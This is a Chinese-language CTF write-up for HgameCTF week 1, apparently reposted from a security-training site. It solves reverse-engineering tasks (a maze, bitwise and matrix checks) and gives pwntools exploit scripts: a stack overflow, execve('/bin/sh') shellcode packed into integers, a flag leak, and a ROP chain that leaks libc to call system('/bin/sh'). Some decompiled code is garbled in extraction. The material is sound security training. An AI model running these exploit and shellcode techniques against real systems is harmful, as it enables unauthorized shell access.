当前位置:网站首页 > 网络安全培训 > 正文

HgameCTF(week1)-RE,PWN题解析

freebuffreebuf 2020-02-06 330 0

本文来源:HgameCTF(week1)-RE,PWN题解析

原创 Nepents 合天智汇

##RE


###maze

这个题目从题目名上可以知道是一个迷宫题目,迷宫题目主要把握住迷宫地图,方向键还有起点终点就好。ida打开

while ( (signed int)v4  SHIDWORD(v4) ) {   v3 = input[(signed int)v4];   if ( v3 == 'd' )   {     local += 4;   }   else if ( v3 > 100 )   {     if ( v3 == 's' )     {    local += 64;     }   else   {     if ( v3 != 'w' )  {   LABEL_12:    puts("Illegal input!");    exit(0);  }   local -= 64;    }      }   else   {     if ( v3 != 'a' )       goto LABEL_12;      local -= 4;   }   if ( local  (char *)    LODWORD(v4) = v4 + 1;  }

从中可以确定方向键为awds,确定了起点终点,但是每次走的步数不太一样,因为按理说步数应该是1但是这里确实4。

先复制出地图,64字节为一行

01 01 01 01 01 00 00 01 01 00 01 00 01 00 00 01 01 00 01 01 01 00 01 01 01 01 01 00 01 00 01 00 01 01 01 01 01 00 01 01 01 00 00 00 01 00 01 00 01 00 00 01 01 00 00 01 01 00 01 00 01 00 00 0101 01 01 00 00 01 00 00 01 01 00 01 01 01 01 00 01 01 01 01 01 01 01 00 01 00 00 00 01 00 00 01 01 00 01 01 01 01 00 01 01 01 01 00 01 00 01 01 01 01 00 01 01 01 01 00 01 01 00 01 01 01 01 0001 00 01 01 00 00 01 01 01 00 01 01 01 01 00 01 01 00 01 00 01 01 01 00 01 01 01 00 01 01 01 00 01 01 01 00 01 01 00 01 01 00 00 00 01 00 01 00 01 01 01 00 01 01 00 01 01 01 01 00 01 00 01 0001 00 01 00 00 00 01 01 01 01 01 01 01 01 01 00 01 00 01 01 01 00 01 01 01 00 01 01 01 00 01 00 01 00 00 00 01 01 00 01 01 01 01 01 01 01 01 00 01 01 01 01 01 00 01 00 01 01 01 01 01 01 01 0001 01 00 01 00 01 01 00 01 01 01 01 01 00 00 01 01 01 01 01 01 01 01 01 01 00 01 00 01 00 01 01 01 01 01 00 01 00 00 01 01 01 01 01 01 00 01 01 01 00 00 01 01 01 01 00 01 00 00 01 01 00 00 0101 01 01 00 00 00 01 01 00 00 01 00 00 01 01 00 00 01 00 00 00 01 01 01 00 01 00 00 00 00 00 01 01 00 01 01 01 00 00 00 01 00 00 01 01 00 00 01 01 00 01 01 01 00 00 00 01 01 00 01 01 00 01 0001 00 01 00 01 00 00 00 01 01 01 01 01 00 01 00 01 01 00 01 01 00 01 01 01 01 01 00 00 00 01 00 01 01 01 00 01 00 00 00 01 00 00 01 01 00 01 00 01 00 01 01 01 00 00 00 01 01 01 00 01 01 01 0101 01 01 00 01 00 00 00 01 00 01 00 01 00 01 00 01 00 01 01 01 01 00 01 01 00 00 00 00 01 01 00 01 00 01 01 01 00 01 01 01 01 00 01 01 00 00 00 01 01 01 01 01 01 01 00 01 01 01 00 01 01 01 0101 00 00 00 01 00 01 01 01 00 00 01 01 00 00 00 01 00 00 00 01 00 00 01 01 00 00 00 00 00 01 00 01 00 00 01 00 01 01 00 00 01 01 01 00 00 01 00 00 00 01 01 01 01 01 01 01 00 01 01 01 00 00 0101 01 00 01 01 01 01 00 01 01 00 01 01 00 00 00 01 00 01 01 01 00 00 00 01 01 00 01 00 00 01 00 01 01 01 00 00 01 00 00 01 00 01 01 01 01 01 00 00 00 00 00 01 00 01 00 01 01 00 01 01 00 01 0001 00 00 01 01 00 01 01 01 01 01 00 01 01 00 01 01 00 01 00 01 01 01 00 01 01 01 01 00 01 00 00 00 01 01 00 00 01 01 01 01 01 01 00 01 01 01 01 00 00 00 01 01 00 01 00 01 01 00 01 01 00 00 0001 01 01 01 01 00 00 01 01 00 00 00 01 00 01 01 01 01 01 00 01 00 01 01 01 00 01 00 01 00 00 01 01 00 01 00 01 01 01 00 01 01 00 01 01 00 00 01 00 01 01 00 01 01 01 01 01 00 01 01 01 01 01 0001 01 01 00 01 00 00 01 01 00 00 00 01 00 00 01 01 00 00 00 01 00 00 01 01 01 00 01 01 00 01 01 01 01 00 01 01 00 00 00 01 00 00 01 01 00 00 00 00 01 00 00 00 01 00 00 01 00 01 01 01 00 00 0001 00 01 00 01 00 01 01 01 00 00 00 01 01 01 01 01 01 01 00 01 00 01 01 01 00 00 01 01 00 00 00 01 00 00 00 01 00 01 00 01 01 01 01 01 00 00 01 01 01 01 00 00 01 01 01 01 01 01 01 01 00 01 0001 00 01 01 01 00 00 01 01 01 01 00 01 01 01 01 01 00 00 00 01 01 01 01 01 01 00 01 01 00 01 00 01 01 01 01 01 00 01 01 01 00 01 01 01 00 00 01 01 00 00 00 00 00 00 00 00 01 01 00 00 01 01 0101 01 01 00 01 01 01 00 01 01 01 00 01 00 01 00 01 01 01 00 01 00 00 01 01 01 00 01 01 01 01 00 01 00 01 01 01 00 00 01 01 00 01 01 01 01 01 01 01 01 01 01 01 00 01 00 01 01 01 01 01 01 00 01

由于左右移位数为4,那么地图有些就是用不上的,可以每隔一行去掉三行。经过精简后的地图如下。

01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 0101|00|01 01 01 01 01 01 01 01 01 01 01 01 01 0101 00 01 01 01 01 01 01 01 01 01 01 01 01 01 0101 00 01 01 01 01 01 01 01 01 01 01 01 01 01 0101 00 01 01 01 01 01 01 01 01 01 01 01 01 01 0101 00 00 00 00 00 00 00 01 01 01 01 01 01 01 0101 01 01 01 01 01 01 00 01 01 01 01 01 01 01 0101 01 01 01 01 01 01 00 01 01 01 01 01 01 01 0101 01 01 01 01 01 01 00 01 00 00 00 00 01 01 0101 01 01 01 01 01 01 00 01 00 01 01 00 01 01 0101 01 01 01 01 01 01 00 00 00 01 01 00 01 01 0101 01 01 01 01 01 01 01 01 01 01 01 00 01 01 0101 01 01 01 01 01 01 01 01 01 01 01 00 00 01 0101 01 01 01 01 01 01 01 01 01 01 01 01 00 01 0101 01 01 01 01 01 01 01 01 01 01 01 01 00 00|00|01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01

起点和终点已经标出来,

可以得到flag:

hgame{ssssddddddsssssddwwdddssssdssdd}

###bitwise_operation2

输入先把hgame{}切割掉,经过check_number函数,该函数主要是合并数字,比如输入一个0F,那么在内存中显示为ascii,即30 66,该函数即在内存中存储,0F.然后经过异或运算。

if ( strlen(input) == 39 v8 = 0;right = 0LL;v10 = 0;check_number((__int64)check_number((__int64)for ( i = 0; i = 7; ++i ){  *((_BYTE *)// 循环左移三位  *((_BYTE *)  *((_BYTE *)  *((_BYTE *)}for ( j = 0; j = 7; ++j ){  *((_BYTE *)  if ( *((_BYTE *)exit(0);  }}for ( k = 0; k = 7; ++k ){  *((_BYTE *)  if ( *((_BYTE *)exit(0);  }}puts("Congratulations! You are already familiar with bitwise operation.");

看起来每次运算只涉及对称的两个字节,想爆破,出不来,只能安心写逆算法。

#!/usr/bin/python #coding:utf-8 left_string = "e4sy_Re_" right_string = "Easylif3" key = [0x4C,0x3C,0xD6,0x36,0x50,0x88,0x20,0xCC]  # left = [0x5C ,0xC2 ,0xBE ,0x9A ,0xD3 ,0xC6 ,0x6F,0xBC] # right =[0xEB ,0x82 ,0xD6 ,0xB1 ,0xAF ,0xC1 ,0x2C,0x0F] left = [] right = [] for i in range(8):      left.append(ord(left_string[i])^key[i])     right.append(ord(right_string[i])^left[i])  right = right[::-1] flag1 = [] flag2 = []  def circular_shift_left(int_value,k,bit = 8):  bit_string = '{:0%db}' % bit  bin_value = bit_string.format(int_value) # 8 bit binary  bin_value = bin_value[k:] + bin_value[:k]  int_value = int(bin_value,2)  return int_value  def toStr(num,base): convertString = "0123456789ABCDEF"#最大转换为16进制 if num  base: return convertString[num] else: return toStr(num//base,base)  + convertString[num%base]                for i in range(8): left_q_a = left[i]1)^right_xor) right_temp =  right_q_5|right_q_a  flag2.append(right_temp) left_q_a_2 = left_temp ; i = v11 + 1 ) // 按_切割 {     LOBYTE(v0) = '_';   v11 = sub_7FF735394060(// 返回_位置   if ( v11 == -1 )break;  v16 = sub_7FF7353943B0(  v17 = v16;  v1 = ret_value(v16);  v18 = atoll(v1);  sub_7FF735394350(  sub_7FF7353***A0(}v19 = sub_7FF7353943B0(v20 = v19;v2 = ret_value(v19);v21 = atoll(v2);sub_7FF735394350(sub_7FF7353***A0(v31 = 'hg';v32 = 'am';v33 = 'e';v34 = 're';v35 = 'is';v36 = 'so';v37 = 'so';v38 = 'ea';v39 = 'sy';v22 = 1i64;v23 = 0i64;v24 = 1i64;v25 = 0i64;v26 = 1i64;v27 = 1i64;v28 = 1i64;v29 = 2i64;v30 = 2i64;for ( j = 0i64; j  3; ++j ){  for ( k = 0i64; k  3; ++k )  {v12 = 0i64;for ( l = 0; l  3; ++l )  v12 += *(if ( *(  std::basic_ostreamchar,std::char_traitschar>>::operator(v3, sub_7FF735392830);  sub_7FF735393010(  sub_7FF7353***A0(  return 0i64;}  }}v6 = sub_7FF735391900(std::cout, "you are good at re");

先从内存中复制出已知的两个矩阵。

0x6867,0x616D,0x0065,0x7265,0x6973,0x736F,0x736F,0x6561,0x7379,01,00,01,00,01,01,01,02,02,

9个元素,那么输入的flag也应该为九个元素,也就是需要切割为九个部分。

先假设为

a,b,c,d,e,f,g,h,i

然后和矩阵2相乘再跟矩阵一对比。可以简化为式子

a+c=0x6867b+2*c=0x616Da+b+2*c==0x0065d+f=0x7265e+2*f=0x6973d+e+2*f=0x736Fg+i=0x736Fh+2*i=0x6561g+h+2*i=0x7379

可以用z3来求。

from z3 import *x = Solver()flag = [Int('flag%d'%i) for i in range(9)]x.add()x.add(flag[0]+flag[2]==0x6867)x.add(flag[1]+2*flag[2]==0x616D)x.add(flag[0]+flag[1]+2*flag[2]==0x0065)x.add(flag[3]+flag[5]==0x7265)x.add(flag[4]+2*flag[5]==0x6973)x.add(flag[3]+flag[4]+2*flag[5]==0x736F)x.add(flag[6]+flag[8]==0x736F)x.add(flag[7]+2*flag[8]==0x6561)x.add(flag[6]+flag[7]+2*flag[8]==0x7379)print x.check()m = x.model()for i in flag: print m[i]

得到flag:

hgame{-24840-78193_51567_2556-26463_26729_3608_-25933_25943}

##PWN


###Hard_AAA

这个存在后门,直接溢出覆盖对比就行。exp

#!/usr/bin/python #coding:utf-8 from pwn import * from time import * from LibcSearcher import *  context.log_level="debug"  EXEC_FILE = "./ROP_LEVEL0" REMOTE_LIBC = "./db/libc6_2.24-9ubuntu2.2_amd64.so"  def main():        r = remote('47.103.214.163', 20000)      elf = ELF(EXEC_FILE)          #libc = ELF(REMOTE_LIBC)             r.recvuntil('!')       raw_input()      r.send('\x00'*120+'0O00O0o\x00O0\x00')
r.interactive()  if __name__ == '__main__': main()

###Number_Killer

这个题目比较有意思。

int __cdecl main(int argc, const char **argv, const char **envp) {    __int64 v4[11]; // [rsp+0h] [rbp-60h]   int i; // [rsp+5Ch] [rbp-4h]     setvbuf(_bss_start, 0LL, 2, 0LL);   setvbuf(stdin, 0LL, 2, 0LL);   memset(v4, 0, 80uLL);   puts("Let's Pwn me with numbers!");   for ( i = 0; i = 19; ++i )     v4[i] = readll();   return 0; }

该程序先分配80个字节,但是v4是int64类型的,而且复制了20次,那么就会存在数组越界。再看readll函数。

__int64 readll() {     char nptr[8]; // [rsp+0h] [rbp-20h]   __int64 v2; // [rsp+8h] [rbp-18h]   int v3; // [rsp+10h] [rbp-10h]   int v4; // [rsp+18h] [rbp-8h]   int i; // [rsp+1Ch] [rbp-4h]      *(_QWORD *)nptr = 0LL;     v2 = 0LL;     v3 = 0;     v4 = 0;     for ( i = 0; read(0, = 19  ++i )   ;   return atoll(nptr);}

最多读取19位,然后变为long long int变量。还存在有一个gitt函数。

push rbp mov rbp, rsp jmp rsp

可以jmp rsp,那么就可以植入shellcode来运行。

还存在一个问题,比如我植入的是下面的shellcode。

#\x6a\x42\x58\xfe #\xc4\x48\x99\x52 #\x48\xbf\x2f\x62 #\x69\x6e\x2f\x2f #\x73\x68\x57\x54 #\x5e\x49\x89\xd0 #\x49\x89\xd2\x0f# \x05

那么就是可能会发送到0xd089495e54576873,这个有符号整形,会变成负数。可以通过发送符号要求的shellcode,这个找起来比较麻烦,所以可以改造一下。

可以插入一些没有意义的指令,比如0x90,但是这个也会变成负数,可以插入50 58,即push rax,pop rax,那么就可以绕过刚刚那个限制了。

原先的shellcode

push 42h         6a 42 pop rax         58 inc ah         FE ** cqo        48 99 pushrdx        52 mov rdi, 68732F2F6E69622Fh     48 BF 2F 62 69 6E 2F 2F 73 68 push rdi        57 push rsp        54 pop rsi        5e  mov r8, rdx         49 89  d0mov r10, rdx        49 89 d2 syscall       0f 5

经过改造之后

push rax pop  rax cqo push rdx push rax pop  rax mov  rdi, 68732F2F6E69622Fh pop  rax push rax push rdi push rsp pop  rsi mov  r8, rdx push rax pop  rax push rax pop  rax push rax pop  rax mov  r10, rdx syscall

还有一个点就是,循环次数也在覆盖范围只能,得先算法他的值,不能改变他的值,不然会出错。然后跳转到gift函数就可以了。

#!/usr/bin/python #coding:utf-8 from pwn import * from time import * from LibcSearcher import *    context.log_level="debug"  EXEC_FILE = "./Number_Killer" REMOTE_LIBC = "./db/libc6_2.24-9ubuntu2.2_amd64.so"  r = remote('172.17.0.2', 10002) elf = ELF(EXEC_FILE) libc = ELF(REMOTE_LIBC)  r.recvuntil("!") r.sendline(str(0x505850c4fe58426a)) r.sendline(str(0x5850529948585058)) r.sendline(str(0x2f2f6e69622fbf48)) r.sendline(str(0x495e545758506873)) r.sendline(str(0x585058505850d089)) r.sendline(str(0x000000050fd28949)) r.sendline(str(0)) r.sendline(str(0)) r.sendline(str(0)) r.sendline(str(0)) r.sendline(str(0)) r.sendline(str(47244640256)) r.sendline(str(0x40078D)) r.sendline(str(0x40078D)) r.sendline(str(0x505850c4fe58426a)) r.sendline(str(0x5850529948585058)) r.sendline(str(0x2f2f6e69622fbf48)) r.sendline(str(0x495e545758506873)) r.sendline(str(0x585058505850d089)) r.sendline(str(0x000000050fd28949)) r.interactive()

###One_Shot

程序读取flag,然后要求输入name,最大可以输入32个字节,name实际能存储的加上\x00也就32个字节,然后马上到flag储存的内容,程序还会输出name,那么flag也会跟着一起输出。

#!/usr/bin/python #coding:utf-8 from pwn import * from time import * from LibcSearcher import *    context.log_level="debug"  EXEC_FILE = "./ROP_LEVEL0" REMOTE_LIBC = "./db/libc6_2.24-9ubuntu2.2_amd64.so"  r = remote('47.103.214.163',20002) elf = ELF(EXEC_FILE) #libc = ELF(REMOTE_LIBC)  r.recvuntil('?') r.sendline('a'*32) r.recvuntil('!') r.sendline(str(0x6010E0)) print r.recv()
r.interactive()

###ROP_LEVEL0

该题目存在一个溢出点,可以覆盖返回地址先通过puts函数输出read函数的地址,然后通过LibcSearcher匹配到相应的libc版本。再跳回主函数,再次溢出。通过相应的libc版本得到system地址和"/bin/sh"地址,运行system函数getshell。

#!/usr/bin/python #coding:utf-8 from pwn import * from time import * from LibcSearcher import *    context.log_level="debug"  EXEC_FILE = "./ROP_LEVEL0" REMOTE_LIBC = "./db/libc6_2.24-9ubuntu2.2_amd64.so"  r = remote('47.103.214.163',20003) elf = ELF(EXEC_FILE) #libc = ELF(REMOTE_LIBC)  read_got = elf.got['read'] puts_plt = elf.plt['puts'] #padding == 88  r.recv() payload = 'a'*88 payload += p64(0x400753)# pop rdi payload += p64(read_got) payload += p64(puts_plt) payload += p64(0x040065C) r.sendline(payload)  addr = u64(r.recvn(6).ljust(8,'\x00')) print hex(addr)  r.recv()  obj = LibcSearcher('read', addr) libc_addr = addr - obj.dump('read') system_addr = libc_addr + obj.dump('system') bin_sh = libc_addr + obj.dump('str_bin_sh')
payload = 'a'*88 payload += p64(0x400753) payload += p64(bin_sh) payload += p64(system_addr) raw_input()r.sendline(payload)
r.interactive()

如果想更多系统的学习CTF,可点击文末“阅读原文”,进入CTF实验室学习,里面涵盖了6个题目类型系统的学习路径和实操环境。

声明:笔者初衷用于分享与普及网络知识,若读者因此作出任何危害网络安全行为后果自负,与合天智汇及原作者无关!


转载请注明来自网盾网络安全培训,本文标题:《HgameCTF(week1)-RE,PWN题解析》

标签:合天智汇

关于我

欢迎关注微信公众号

关于我们

网络安全培训,黑客培训,渗透培训,ctf,攻防

标签列表